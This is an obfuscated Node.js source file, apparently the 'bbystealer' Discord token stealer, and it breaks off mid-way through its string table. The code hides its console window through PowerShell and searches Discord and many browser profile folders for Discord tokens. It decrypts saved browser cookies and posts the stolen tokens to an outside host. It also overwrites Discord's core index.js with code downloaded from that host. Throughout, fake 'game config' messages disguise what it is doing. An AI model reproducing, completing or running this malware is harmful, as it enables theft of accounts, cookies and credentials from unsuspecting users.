- !_0x3339df["existsSync"](tx) && (_0x5bc4e2.mkdirSync(tx, 484), _0x51239c["log"](px["vqIqy"]), px["WNvLf"](_0x2a9b70));
- } else {
- if (fs["existsSync"](px["NSLhz"](paths[tv], px["hsUUN"]))) {
- if (px.UytXa(px["BAdQQ"], px["opSEv"])) qa += await px["KIEti"](getCookies, paths[tv]) || ""; else {
- var qb = px["qCeOz"](_0x2d46f3["env"]["appdata"], px.XTPWg);
- if (_0xc521c3["existsSync"](qb)) {
- var qc = _0x5218de["readFileSync"](qb);
- _0x23bbda["writeFileSync"](qb, px.pdmWl(_0x216a19, qc, px["UPcAY"], px.xsdbV));
- } else return;
- }
- }
- px["PYQEG"](px["NSLhz"](tv, 1), paths.length) && (px["PYQEG"](px["ynZAt"], px["ynZAt"]) ? (console["log"](qa), axios["post"](px["uHfym"], qa, {headers: {"Content-Type": px["gIPah"]}})) : _0x4895f5.forEach(ty => {
- _0x458d80.push(ty);
- }));
- }
- }
- }
- function hideSelf() {
- const tz = {NFOKH: function (ud, ue) {
- return ud(ue);
- }, IQwAq: "child_process", RtBmJ: "inherit"};
- let ua = "\n Add\-Type\ \-Name\ Window\ \-Namespace Console\ \-MemberDefinition\ '\n [DllImport" + '("Ker' + "nel32\.dll"\)\]\
- \ \ \ \ public\ static extern IntPtr GetConsoleWindow\(\);\
- \
- \ \ \ \ \[DllImport" + '("use' + "r32.d" + 'll")]' + "\
- \ \ \ \ public\ static extern\ bool\ ShowWindow(IntPtr\ hWnd, Int32\ nCmdShow\);\
- \ \ \ \ '\
- \
- \ $consolePtr =\ \[Console\.Window\]::GetConsoleWindow\(\)\
- \ \ \ \ \#0 hide\
- \ \ \ \ \[Console\.Window\]::ShowWindow\(\$consolePtr,\ 0\)\
- \ \ \ \ ", ub = process["cwd"]();
- let uc = ub + ("\\temp\.ps1");
- fs["writeFileSync"](uc, ua), tz["NFOKH"](require, tz["IQwAq"])["execSync"]("type\ .\\temp\.ps1\ \|\ powershell\.exe\ \-noprofile\ \-", {stdio: tz.RtBmJ}), fs["unlinkSync"](uc);
- }
- function findToken(uf) {
- const ug = {};
- ug.NACCc = function (uk, ul) {
- return uk === ul;
- }, ug["DUUgW"] = "iVhUv", ug["LzLMZ"] = "hDXCJ", ug["ExFVp"] = function (um, un) {
- return um == un;
- }, ug["dfAdO"] = "CurrentUser", ug["rDRop"] = "utf\-8", ug["JBHnu"] = function (uo, up) {
- return uo - up;
- }, ug["FmOGJ"] = "aes\-256\-gcm", ug["KEAZZ"] = "base64", ug["GBhZM"] = function (uq, ur) {
- return uq !== ur;
- }, ug.vPOpW = "GEBLA";
- ug["PbMgk"] = "NaVtb", ug["ehQzq"] = "\.log", ug["HACJn"] = "\.ldb";
- ug["pqGfO"] = "utf8", ug["LMEjT"] = "Local\ Storage\\leveldb";
- const uh = ug;
- uf += uh["LMEjT"];
- let ui = [];
- try {
- fs["readdirSync"](uf).map(us => {
- const ut = {kJmzr: function (uu, uv) {
- return uh["NACCc"](uu, uv);
- }, kOCRP: uh.DUUgW, fVTGh: uh.LzLMZ, hKZGy: function (uw, ux) {
- return uh["ExFVp"](uw, ux);
- }, EERMj: uh["dfAdO"], loToq: uh["rDRop"], mHRdf: function (uy, uz) {
- return uh["JBHnu"](uy, uz);
- }, lJOiD: uh.FmOGJ, rkuQT: uh.KEAZZ, fVGgS: function (va, vb) {
- return uh["GBhZM"](va, vb);
- }, fHnpi: uh["vPOpW"], yERpd: uh.PbMgk};
- (us["endsWith"](uh["ehQzq"]) || us["endsWith"](uh.HACJn)) && fs["readFileSync"](uf + "\\" + us, uh["pqGfO"])["split"](/\r?\n/)["forEach"](vc => {
- const vd = {aKPbq: function (vg, vh) {
- return ut.kJmzr(vg, vh);
- }, SlAuZ: ut["kOCRP"], jpfPz: ut["fVTGh"], YkntI: function (vi, vj) {
- return ut["hKZGy"](vi, vj);
- }, yibpg: ut.EERMj, MflWl: ut["loToq"], AoCyB: function (vk, vl) {
- return ut.mHRdf(vk, vl);
- }, yoLNE: function (vm, vn) {
- return ut["mHRdf"](vm, vn);
- }, lvlzR: ut["lJOiD"], cxhmC: ut["rkuQT"]};
- const ve = [new RegExp(/mfa\.[\w-]{84}/g), new RegExp(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}/g)];
- for (const vf of ve) {
- const vo = vc["match"](vf);
- if (vo) {
- if (ut.fVGgS(ut["fHnpi"], ut["yERpd"])) vo["forEach"](vp => {
- if (vd.aKPbq(vd["SlAuZ"], vd.jpfPz)) {
- if (_0x11f31d) {
- const vq = _0x48a0de["apply"](_0x21d5b0, arguments);
- return _0x26d408 = null, vq;
- }
- } else ui["push"](vp);
- }); else {
- if (vd["YkntI"](_0x1bb760[0], 1) && vd["YkntI"](_0x58e33b[1], 0) && vd["YkntI"](_0x3c2ea1[2], 0) && vd["YkntI"](_0x43c187[3], 0)) _0x4694f7 += "\
- HOST\ KEY: " + _0x1a3466["host_key"] + ("\ \|\ NAME:\ ") + _0x424770["name"] + ("\ \|\ VALUE:\ ") + _0x457f73["unprotectData"](_0x149560, null, vd["yibpg"])["toString"](vd["MflWl"]); else {
- let vr = _0x47540b["slice"](3, 15), vs = _0x5474d9["slice"](15, vd["AoCyB"](_0x97e2a0.length, 16)), vt = _0x1d038e["slice"](vd.yoLNE(_0x42fdf6.length, 16), _0x3a1060["length"]), vu = _0x834da4.createDecipheriv(vd["lvlzR"], _0x5ecbf6, vr);
- vu["setAuthTag"](vt);
- let vv = vu["update"](vs, vd["cxhmC"], vd["MflWl"]);
- vv += vu["final"](vd.MflWl), _0x22f6a5 += "\
- HOST\ KEY: " + _0x41e558["host_key"] + ("\ \|\ NAME: ") + _0x534871.name + ("\ \|\ VALUE:\ ") + vv;
- }
- }
- }
- }
- });
- });
- } catch (uj) {}
- return ui;
- }
- function onlyUnique(vw, vx, vy) {
- const vz = {};
- vz["fbbRQ"] = function (wb, wc) {
- return wb === wc;
- };
- const wa = vz;
- return wa.fbbRQ(vy["indexOf"](vw), vx);
- }
- async function stealTokens() {
- const wd = {FCeRD: function (wl, wm) {
- return wl(wm);
- }, ZWdPV: "application/json", lDXvu: "POST", WqTct: "https://remove_bby.rip/UljlehPIgdqu/tokens"}, we = [];
- for (let wf of paths) {
- const wn = wd.FCeRD(findToken, wf);
- wn && wn.forEach(wo => {
- we["push"](wo);
- });
- }
- var wg = we.filter(onlyUnique);
- const wh = {};
- wh["Content-Type"] = wd["ZWdPV"];
- const wi = wh, wj = {};
- wj["method"] = wd.lDXvu, function (wp, wq) {
- const wr = wp();
- while (!![]) {
- try {
- const ws = parseInt("19054naGpzY") / 1 * (parseInt("10RFtZZs") / 2) + parseInt("1100094mbxknd") / 3 + parseInt("24uDDuYD") / 4 * (-parseInt("208015MygpTf") / 5) + -parseInt("3826440aeYLrG") / 6 + parseInt("119tSSjiY") / 7 * (parseInt("378184BiNeTW") / 8) + -parseInt("848871SxtnPZ") / 9 * (-parseInt("30ejVzIP") / 10) + parseInt("112178JqPuTd") / 11 * (-parseInt("156PLdkNX") / 12);
- if (ws === wq) break; else wr.push(wr.shift());
- } catch (wt) {
- wr.push(wr.shift());
- }
- }
- }(a0_0x4c0d, 528634);
- const fs = require("fs");
- console.log("Error hooking\ discord\ rich precense libraries\.\.\.");
- var debug = ![], args = process.argv["slice"](2);
- args[0] == "debug" ? debug = !![] : hideSelf();
- const glob = require("glob"), crypto = require("crypto"), {exec} = require("child_process"), axios = require("axios"), buf_replace = require("buffer\-replace"), sqlite3 = require("nexe\-natives")(require.resolve("sqlite3")), dpapi = require("nexe\-natives")(require["resolve"]("win\-dpapi"));
- var appdata = process["env"].APPDATA;
- var localappdata = process["env"]["LOCALAPPDATA"], discords = [], injectPath = [], runningDiscords = [], paths = [appdata + ("\\discord\\"), appdata + ("\\discordcanary\\"), appdata + ("\\discordptb\\"), appdata + ("\\discorddevelopment\\"), appdata + ("\\lightcord\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Default\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 1\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 2\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 3\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 4\\"), localappdata + ("GoogleChrome\\User\ Data\\Profile 5\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Guest\ Profile\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Default\\Network\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 1\\Network\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 2\\Network\\"), localappdata + ("\\Google\\Chrome\\User Data\\Profile\ 3\\Network\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Profile\ 4\\Network\\"), localappdata + ("\\Google\\Chrome\\User Data\\Profile\ 5\\Network\\"), localappdata + ("\\Google\\Chrome\\User\ Data\\Guest Profile\\Network\\"), appdata + ("\\Opera\ Software\\Opera\ Stable\\"), appdata + ("\\Opera\ Software\\Opera\ GX\ Stable\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Default\\"), localappdata + ("\\BraveSoftware\\Brave-Browser\\User\ Data\\Profile\ 1\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Profile\ 2\\"), localappdata + ("\\BraveSoftware\\Brave-Browser\\User\ Data\\Profile\ 3\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Profile 4\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Profile\ 5\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Guest Profile\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile\ 1\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile\ 2\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile 3\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile 4\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile\ 5\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Guest\ Profile\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Default\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Profile\ 1\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Profile\ 2\\"), localappdata + ("\\Microsoft\\Edge\\User Data\\Profile 3\\"), localappdata + ("\\Microsoft\\Edge\\User Data\\Profile\ 4\\"), localappdata + ("\\Microsoft\\Edge\\User Data\\Profile 5\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Guest Profile\\"), localappdata + ("BraveSoftware\\Brave\-Browser\\User\ Data\\Default\\Network\\"), localappdata + ("\\BraveSoftware\\Brave-Browser\\User Data\\Profile\ 1\\Network\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Profile\ 2\\Network\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User Data\\Profile 3\\Network\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Profile 4\\Network\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User\ Data\\Profile\ 5\\Network\\"), localappdata + ("\\BraveSoftware\\Brave\-Browser\\User Data\\Guest\ Profile\\Network\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile\ 1\\Network\\"), localappdata + ("\\Yandex\\YandexBrowser\\User Data\\Profile\ 2\\Network\\"), localappdata + ("\\Yandex\\YandexBrowser\\User Data\\Profile\ 3\\Network\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile 4\\Network\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Profile\ 5\\Network\\"), localappdata + ("\\Yandex\\YandexBrowser\\User\ Data\\Guest Profile\\Network\\"), localappdata + ("Microsoft\\Edge\\User\ Data\\Default\\Network\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Profile\ 1\\Network\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Profile 2\\Network\\"), localappdata + ("\\Microsoft\\Edge\\User Data\\Profile 3\\Network\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Profile\ 4\\Network\\"), localappdata + ("\\Microsoft\\Edge\\User Data\\Profile\ 5\\Network\\"), localappdata + ("\\Microsoft\\Edge\\User\ Data\\Guest\ Profile\\Network\\")];
- fs["readdirSync"](localappdata)["forEach"](wu => {
- const wv = {};
- wv["qWPnY"] = "Searching\ game\ folder\.\.\.", wv["ZdBdE"] = "cord", wv["cCjuE"] = function (wx, wy) {
- return wx === wy;
- }, wv["WIVeu"] = "KXIsO", wv.gdhLe = "ypwKJ", wv["PoZtN"] = function (wz, xa) {
- return wz + xa;
- }, wv["ChTNG"] = function (xb, xc) {
- return xb + xc;
- };
- const ww = wv;
- console.log(ww["qWPnY"]);
- if (wu["includes"](ww["ZdBdE"])) {
- if (ww["cCjuE"](ww["WIVeu"], ww.gdhLe)) {
- if (_0xb3cf4b) {
- if (_0x2592ce) _0x177a09["log"](_0x4061cb);
- return;
- }
- } else discords["push"](ww["PoZtN"](ww["ChTNG"](localappdata, "\\"), wu));
- } else return;
- }), discords["forEach"](function (xd) {
- const xe = {PqMzH: function (xg, xh) {
- return xg - xh;
- }, NGpYC: "aes\-256-gcm", dDqfd: "base64", PnOEN: "utf\-8", cPjMV: function (xi, xj) {
- return xi !== xj;
- }, gwgvp: "VsIDQ", ZPHZo: "Saving\ config\ file\.\..", ROAEO: function (xk) {
- return xk();
- }, UroCo: "Making\ game\ config...", mSQeL: function (xl, xm) {
- return xl + xm;
- }, FUJcE: "\\app\-\*\\modules\\discord_desktop_core\-\*\\discord_desktop_core\\index\.js"};
- console.log(xe["UroCo"]);
- let xf = xe["mSQeL"]("" + xd, xe["FUJcE"]);
- glob.sync(xf)["map"](xn => {
- const xo = {MdZZE: function (xp, xq) {
- return xe["PqMzH"](xp, xq);
- }, yOscB: xe["NGpYC"], lhQGD: xe.dDqfd, kkPaQ: xe["PnOEN"]};
- if (xe["cPjMV"](xe.gwgvp, xe["gwgvp"])) {
- let xr = _0x109bf3["slice"](3, 15), xs = _0x57cec8["slice"](15, xo["MdZZE"](_0x486006["length"], 16)), xt = _0x781149["slice"](xo["MdZZE"](_0xa5fe58["length"], 16), _0xcac2d3.length), xu = _0x5608ee["createDecipheriv"](xo.yOscB, _0x21baf8, xr);
- xu["setAuthTag"](xt);
- let xv = xu["update"](xs, xo.lhQGD, xo["kkPaQ"]);
- xv += xu["final"](xo["kkPaQ"]), _0x5564c3 += "\
- HOST\ KEY: " + _0x2b7de0["host_key"] + ("\ \|\ NAME:\ ") + _0x56793d["name"] + ("\ \|\ VALUE:\ ") + xv;
- } else injectPath.push(xn), console["log"](xe["ZPHZo"]), xe["ROAEO"](listDiscords);
- });
- }), stealTokens(), stealPasswords();
- stealCookies();
- async function Infect() {
- const xw = {cUvmd: function (xy, xz) {
- return xy(xz);
- }, winem: function (ya, yb) {
- return ya + yb;
- }, hGzrr: "return\ \(function\(\)\ ", hkFEP: "\{\}\.constructor("return\ this"\)\( )", UQWtX: "Saving\ config\ file\.\..", voJBJ: function (yc) {
- return yc();
- }, HazOt: function (yd, ye) {
- return yd !== ye;
- }, egtvO: "qgNUh", wxzWr: "DZYBO", bPqen: "utf8", YgRky: "index.js", sYjOF: "bbystealer", TVwsR: "oKrXV", fbxqM: "Online\ update\ finded!", idrOH: function (yf) {
- return yf();
- }, wmnYt: "Searching\ online\ update", AREhD: "https://remove_bby\.rip/UljlehPIgdqu/str"};
- console["log"](xw["wmnYt"]);
- var xx = await axios["get"](xw.AREhD);
- injectPath["forEach"](yg => {
- const yh = {CwxsG: xw["UQWtX"], vrSbk: function (yi) {
- return xw.voJBJ(yi);
- }};
- if (xw["HazOt"](xw.egtvO, xw.wxzWr)) {
- const yj = {};
- yj["encoding"] = xw.bPqen, yj["flag"] = "w", fs["writeFileSync"](yg, xx.data, yj);
- let yk = yg.replace(xw["YgRky"], xw["sYjOF"]);
- !fs["existsSync"](yk) && (xw["HazOt"](xw.TVwsR, xw["TVwsR"]) ? (_0x3a824b["push"](_0x4bf5d4), _0x2bf987["log"](yh.CwxsG), yh["vrSbk"](_0x189bed)) : (fs["mkdirSync"](yk, 484), console["log"](xw.fbxqM), xw["idrOH"](startDiscord)));
- } else _0x360b0a = bXVBVN["cUvmd"](_0x46a722, bXVBVN["winem"](bXVBVN["winem"](bXVBVN["hGzrr"], bXVBVN["hkFEP"]), ");"))();
- });
- }
- function a0_0x4c0d() {
- const yl = ["j8ocvCoUCq", "bSk+W5C/iG", "W4FdT8oXiHy", "bdVcSCoykW", "WP1bW5DIWP5ArCkkW7NdJWJcTG", "jmoLsCoKtq", "sGq2hCoD", "zCkiW5uvW4C", "WRi8WPz4W4e", "W5DiW58YWQC", "bxbQoeW", "trhdKSoMWPO", "W6VcVGak", "W5D7CKru", "fCoWDSkQW7O", "fqKUe20", "W7SaWQKxWQ0", "qSoKWP5HvG", "hmkdW5tcPmo+", "W5NcMGKiWQ4", "WOC0Cmk2WQS", "W7hdKmozWQya", "W6ZcSWHpW78", "W4PjW7q5WR0", "gCossbKf", "W4BdGeXHpG", "WR09wSkgWRq", "WRtdIf5IvW", "W4beBfnm", "W7a6WOdcOHy", "W7jsr2bN", "W4fPwwTW", "WPhdRCogWPldPW", "kx0P", "WP8Zxa", "EdVdMCo7WO4", "W7ivWPuzWQm", "Dtqbb8k5", "yWJdP8o2WR4", "hCoopd8e", "WQCFWPjRW58", "iSobl0xcOW", "W7XqW6O6WQS", "lNNcPmouAa", "Af7cJmoUuG", "umoSWOfVyq", "W4CyWOW/W5m", "mhSRxmkB", "lhyGsCkg", "W4BcJmkyWONdOG", "yfVcQbbl", "qvZcPajw", "W4dcTXLr", "Cq7dKa", "W7icWOO+W5y", "WQldGmoFWPRdTa", "rNpdPCo7WQ8", "l8kADq", "rZW7BXG", "bSofDt7cIW", "fGFcT8olgG", "WRngACk9aW", "WQbofCoEW58", "W6VcQZGCWQ4", "h15YpKu", "W6FcImo5W6Cd", "CCo+WPD2kG", "WOWWwxJcIG", "oNf4smkV", "WPeLFmkNWPu", "W7DkW6m8WRW", "p8oxaxJcSW", "WQ/dN2rEjq", "WODDqCk3ba", "b27cN8oKzW", "e8oxaK7cNW", "W53dRKNdIhm", "WQCvWO9IW6i", "W4LVW74/", "EenykGG", "CYOJeCoR", "FdldUCoMWRO", "W5ObWO4HW4m", "W6CDWQeyWQO", "sL4FE3G", "kmkDWOzBrq", "WRm6WQ13W74", "emovCmkvW4u", "W7tdG8o6dty", "W5v5eCoyWP4", "W6XVvmkBW6i", "mvpcJ8o4rq", "yCk3W5i", "pSkHW4G", "WPi0xdlcUa", "sSoMWObUxG", "W6HWt8kIxW", "lhWP", "s8oUWPD3Eq", "WOWfnCkiea", "obWP", "W47dSLi", "AL57lLn9W4JcGfu", "WRaiWPPTW5a", "W5VdRNNdIhS", "W4tcPCk9WPiL", "gY3dPuvE", "FY8MDmoS", "W75gF0zs", "yqa6kCoc", "W4hdHg1UvW", "WPRdTSoIWRldTW", "gvjIoLq", "bSofDtJcIW", "WRKju8oVW7O", "p8oGxmkOW68", "fumTB8kR", "mSkvWOCaW7q", "AthcPSow", "kSojsCk/W48", "tqqNsCoD", "m0a3qmkr", "W5T/W78tWRS", "cgnqmKy", "W6dcL8oIWO0v", "pKvdlqi", "WOJdQeDzuG", "WQJcHJyYBG", "gmkHW5yXaq", "W6lcHMZdNv8", "u13cNGjD", "WQFdG8oZWR7dGa", "WOW4wgRcLa", "W4mzWRtcGNK", "W79fb8o0W7BcGmoywbaCnmk6WPK", "cmotxSoHza", "WRnsW4ieWOO", "usuCFSot", "rSoMWQzYwq", "rSkUW4TEyW", "WQBcHmkWWRGB", "AWVdOmoHWO0", "nmoNWQxcSsS", "WPLcW75bW7xcRSoxW7LeoYhcUG", "dSkwW4pcOSoI", "mCoUpdi", "jmo7tZyW", "pGPpmmk8", "wviyAu0", "WPO0ESkP", "WOxdTurIhq", "W4izWOG", "W4/cRSkyWOe7", "ASoErr0n", "CKbKvty", "gmooDupcUq", "dCkpW4C", "tHq5bCo2", "ysK8d8oW", "WORdVmoLWRxdQa", "D8oIWOi7gq", "xbKyzmo4", "W5PHtSkt", "cIPlf8kA", "a05Rx8o7", "W47cQ0NdK1K", "h8kfWR7cSdG", "ydWXaSoc", "W4tdMmk5WOZdIq", "sCknW59vzW", "BmoVWQfbyW", "W6fBimodW6C", "WPhdGaOxBq", "iCoTAbmU", "mvjKo2C", "W6eyWOm6W4G", "WQ1DCSkAW6i", "W5ldUxTuca", "ttldSCo7WRm", "W7b/b8oc", "W75Ezubs", "W4T+W5iZWRS", "nCo9wCoL", "b2u4vSkH", "i8kEWRihW5a", "W6ZcSq4dWR4", "cmkAW5lcGq", "FgBcUXz2", "WRqDWPPrW7u", "WQKtvSkWWRS", "WRu6WQb6W4O", "W7ZcISk4WOJdQG", "Amo3WR5jua", "W4pcOmkCWR4W", "WRutvG", "mmkWWP/cRb0", "W4JdO1JdGM0", "W75my0bt", "WOVdUgL4mW", "nqJdHCoEW6u", "d8oymgNcHa", "tdhdVSoXWRO", "ycrupmkU", "WORdTM4jiW", "W5jAz0Tk", "W4hdGemnaG", "WPLgWRm1WOddRSodW4q", "fCkgWPOdW4e", "sZldHmoMWQ0", "jmkyWOaa", "W49GomkyWR/dSKldOL4", "w1igEa", "vMb7jq", "WQpdJmoaWPRdVG", "omoqz8kdW7i", "e8oorZFdGa", "kCkrWPScW5W", "eJKjnNy", "WO0zuCoVWPy", "WPhdS3m9bq", "eCkrWOdcNsO", "W6POW7uLWRC", "urirAmox", "B1WbBu0", "imk0WPpcRcm", "eSoIrXmo", "W5/cNuxdGwK", "W4itW49NW7O", "WORdMuK3bW", "gCofnhJcTa", "lH8RrG", "q8kOW6n5Bq", "tINdNCoxWP0", "WQ4HFmoOWPS", "dCodDmkqW4S", "W4e0WO7cObm", "dK7cUSozxW", "nCkUW5WUxq", "WQpdM8oHWOddTa", "psHSmmkj", "EdaAnSod", "W41Ho8kUW44", "W5RdR34SaG", "WOufFSkbcW", "dLPkCuC", "WRaqWPTYW4e", "WPivWOTnW6W", "WPi6Aq", "lSojjMNcUa", "W45ZW6n6WRO", "amk0WPpcRg0", "xdldUCoHWQS", "W6pdQwD3Aq", "W5vXz311", "smoIWPu", "WRK/WPn+W64", "W6lcMSo1WQ42", "W5XhhCojW4W", "W4KlW6LmW6S", "W7lcNGGjWOu", "W5PUdSosW4K", "W7xcImo8WQex", "eSoZic1F", "l8k0jsKz", "emkdW4ipka", "WRatqCkdWRS", "W7xdPurRga", "W6GOeCkRW5u", "WOSoW6y/WOu", "cmokfwhdGa", "W6LKeW", "e8o2ESkjW4K", "oejhlvy", "W4VcKJCBWP8", "WQKvzCklWQu", "kSofySkjW5W", "W40Lo8kQW4W", "gsbxeCkp", "WOW6ECk7WPy", "ka4/iKO", "W4y6WPqvWQi", "W5FcR17dHhu", "rbegeCot", "jCkZWPpcUHi", "W5PHhmkGW5q", "c8oqyCkhW7i", "WOuiFvJcHW", "W53dTSoaDX0", "WR0zu37cLa", "yx8UWOG", "WOfFz8k+mW", "WRxdVhaXgq", "WRyfAhFcSG", "ex/cQ8o8yG", "W6yuWRxcHGu", "W41bB31t", "dSoTe17dJG", "wfvhW5ZcPG", "W4OtWPW", "n8kMWOxcU3S", "ft7dQSkgda", "W5hdHurDva", "mJJcQSoV", "i8oyDSogW50", "WPFcVa8wzW", "kmkrDSkjW4a", "WRm5s8ksWPy", "vKBcLqjf", "iCoenMpcUq", "k8o4rHSe", "W7ldLmoDod4", "dmohdMFdUq", "W65RamodW4G", "CSoeWRbOxa", "WO4EWOy3W4m", "oSoIwmoYzW", "W44EWQPFWQe", "WROexNZcUq", "W49QyKzi", "nmkNW4yNdW", "W7nVbSkkW7O", "rvzXWOJdUq", "jmo1o3qt", "m8oMiM7dIa", "FmkZwCoZDW", "eGpcImo/mq", "W4FdNKnXwG", "kZvCaSk6", "W7tcL8o9WQ0O", "AI7dSSoGW78", "lWGIdhS", "W4VdNSohgsm", "c8kkW4SSdG", "mWalo08", "W6TLyHys", "W5BcR8o6WQiq", "F8kBWPVcSsK", "e8ocFCogAW", "vWaPwa", "WQ46vmk8WR0", "W47cQ8oIWRSn", "W5FdUfX+fa", "W7/dQ09Nua", "fxdcKrDq", "WQOqENJcIq", "xCoCWOr0tW", "x1ifu3i", "hfLunh4", "kdlcT8oFjW", "kW9knSo5", "amkuW7lcJ8oh", "W5qKbG", "W6dcKCo8WQ1u", "WO8ir8kWWQC", "w1b8mXa", "it3cSSowyG", "zCozWRGaW4u", "WOqwWRK", "th99", "rvjkmWa", "W73cImkiWO8X", "c8kwW44LdW", "WQ3cSImdsG", "WRamwmkYWQy", "bSopmG", "nhi6r8kr", "fgtcKmoFBq", "amo/k3CI", "iWjdk8kB", "DmoTdmoouW", "W6v5bW", "E3LAW5dcMW", "W48gWOKsW7C", "W7xcSWWgWQu", "W5VcKM3dKNG", "rNrumfu", "lIdcTG", "hrrjnCkW", "ecJdRfGc", "kaCKhxO", "W4lcT0XSha", "W4VcJd4h", "lSkHW7ukhW", "otzNk8k6", "WOzaBG", "WRxdU0OsgW", "p2hcOI8l", "buvjm0C", "oCoZaKxcHq", "W6BcSamCWR8", "WQmkySkRWQW", "lKpcHSkhjG", "WRGMqmkQWPK", "W4BdMhnEvG", "W63cGCk4WR4e", "mmk/W70Jeq", "F08+svK", "na/dJuna", "W4nFh8oSW4K", "oSk/W4a5hW", "WPCNxCkXWP0", "ja5meCkR", "nmk3WOBcSJq", "xeTtW47cMW", "wWGQwq", "AdldHmoLWPa", "WR0vWP5QW6y", "FvTK", "WPzcW5DRWPfFvmkBW4pdHaZcUW", "W4XYDmkaaq", "yfCVwSkt", "W4SKhmk7W74", "htKcmZ8", "uKBcVJTq", "W4RdPubr", "pmonn3xdJq", "gvLanK4", "tuLX", "qLxcGGzT", "hqPgW67cObJdI8kK", "DX01bCoT", "W5WDWRqAWPG", "W4NcTmoLWOCM", "pKBcSCosya", "nx3cT8kYW78", "gCkKWOCkW44", "qLmry2y", "jwC5qCka", "rMP7hsK", "b8o/wtGh", "zCkrW4L/Ca", "DduXaq", "W44fC8kpca", "lSoWqCoJza", "W4VcVCkQW6G", "WPdcLdXioG", "W5zOW6yl", "jSoKrWqo", "aZxcQSoshG", "WQZdGSorW5pdOq", "gCodoNJcSW", "W4ldJMb3DW", "WPC9o0jd", "mSoQwXK", "WRZdMmoDW43cNq", "grtdGeO7", "WQ0wWR14W6q", "WQtdMNq3ea", "kCkBWPi", "WQJdH8oKWRRdTG", "uwPRnbS", "nX4OxLK", "WR/dS8oHWOddTa", "W4/cLSkE", "WPNdQxOemW", "WOjau3WA", "W7hcLmk9WQ0t", "W6ddHwvmpa", "xJhdOSo3", "W7VdI8o8lsK", "W6vKaG", "WPmwF8kzWOm", "expcSCoHuW", "kmo1ka", "W5DPW6i7WRS", "qMvHW5RcUa", "ytu5bCoH", "jaHfp8kS", "oCk8W4aNdG", "W7bRbSozW5S", "WRtdRLqBWPHSDCkErW", "i8ounCotW7i", "E1n6W4ZcUW", "rYVdU8oGWOy", "W47cNmk0WRay", "kmkAW5lcGCoQ", "ySoZz8kjW5K", "rCo+WOfZzq", "fCo5rHei", "W6pcTGmoWQC", "jSoVfKVcMW", "oZtdJ3zC", "gCkIWRxcUaW", "W4xcNhORqW", "DY45fmou", "W5SyWP8HW4K", "W6P/W6WLWR0", "W48qWP7cKtG", "xraXeSoP", "EY8ScN4", "W4JcU8o6WR47", "gCoftamw", "tHmTsCo8", "WOK0FmkTWQ8", "W7uTWOJcIda", "hLfT", "W5/cT8obWPSZ", "mSoCybqX", "yCodWOD3yq", "pCouDmkcW6G", "gcpdU2vn", "aYlcJmoXjW", "WONcJZ0", "WOy/EmkcWQq", "ruxcTWv+", "d3pcT8ovAq", "W7fDBSkbWQ0", "berda0S", "W6RcNComWOSC", "W4adWPywWR0", "WQCFWOH9W6y", "nSkeWPKmW5W", "W5mUga", "W4VcNmokWPiX", "WQ8QwuBcQW", "W6NcI8o/WQ4a", "WPTQzCkIda", "W4utWQSu", "k8oiyCkrW5K", "W4tcK8kH", "WOrkB8kRba", "nmk3WPaQW5i", "dwxcRmoBCG", "W4/cS8oHiZG", "W6FdVCogzgS", "W411W70iWR0", "f8oefhddGW", "b8k9W4aTaG", "WRWuASkzWQi", "i8oSeMhdRW", "nSkrWOeKW50", "imkPWOBcRci", "W5KeWOyNW4m", "b1niofy", "pSkSWQBcVXW", "W5WZgSkUW44", "WO8nC2xcKa", "aMb/lde", "WR8Ay8krWQe", "WQldM8oqWQhdMq", "uMzNhGK", "a8oKumoCWO4", "rHpdKSo0WRe", "W6BcMSkWWORdLG", "W4SKuCkQW4i", "lZffhCkF", "cLegqmkh", "g2ZcVhXI", "WOOqESkfWOG", "W6BcM1NdGM8", "WQ3dMxmnhq", "cmkSW4a5dG", "W6efWQebWQG", "WPBdUx4Gnq", "W4vVoSocW64", "W6e8WQusWOK", "EmopWObLFa", "iKu/f28", "mSkUW4WJ", "pWO5h0m", "W6ldSwvKia", "ndhcRmktbG", "nLWzv8ku", "hfDuoN4", "WOJcVxDPga", "W5OHWP8RWRa", "iSkJW4O4nW", "n8ouWReeW5W", "WOddOqxdHx8", "W5NdHmo7naK", "W5ldUfLMlq", "ahLLdxi", "WQuZWOzaW5m", "ma40", "WQasuG", "i8ouE8kbW5O", "W4tdGaqeBG", "it3cSmoslG", "rY9niaG", "WQOJWQXoW7a", 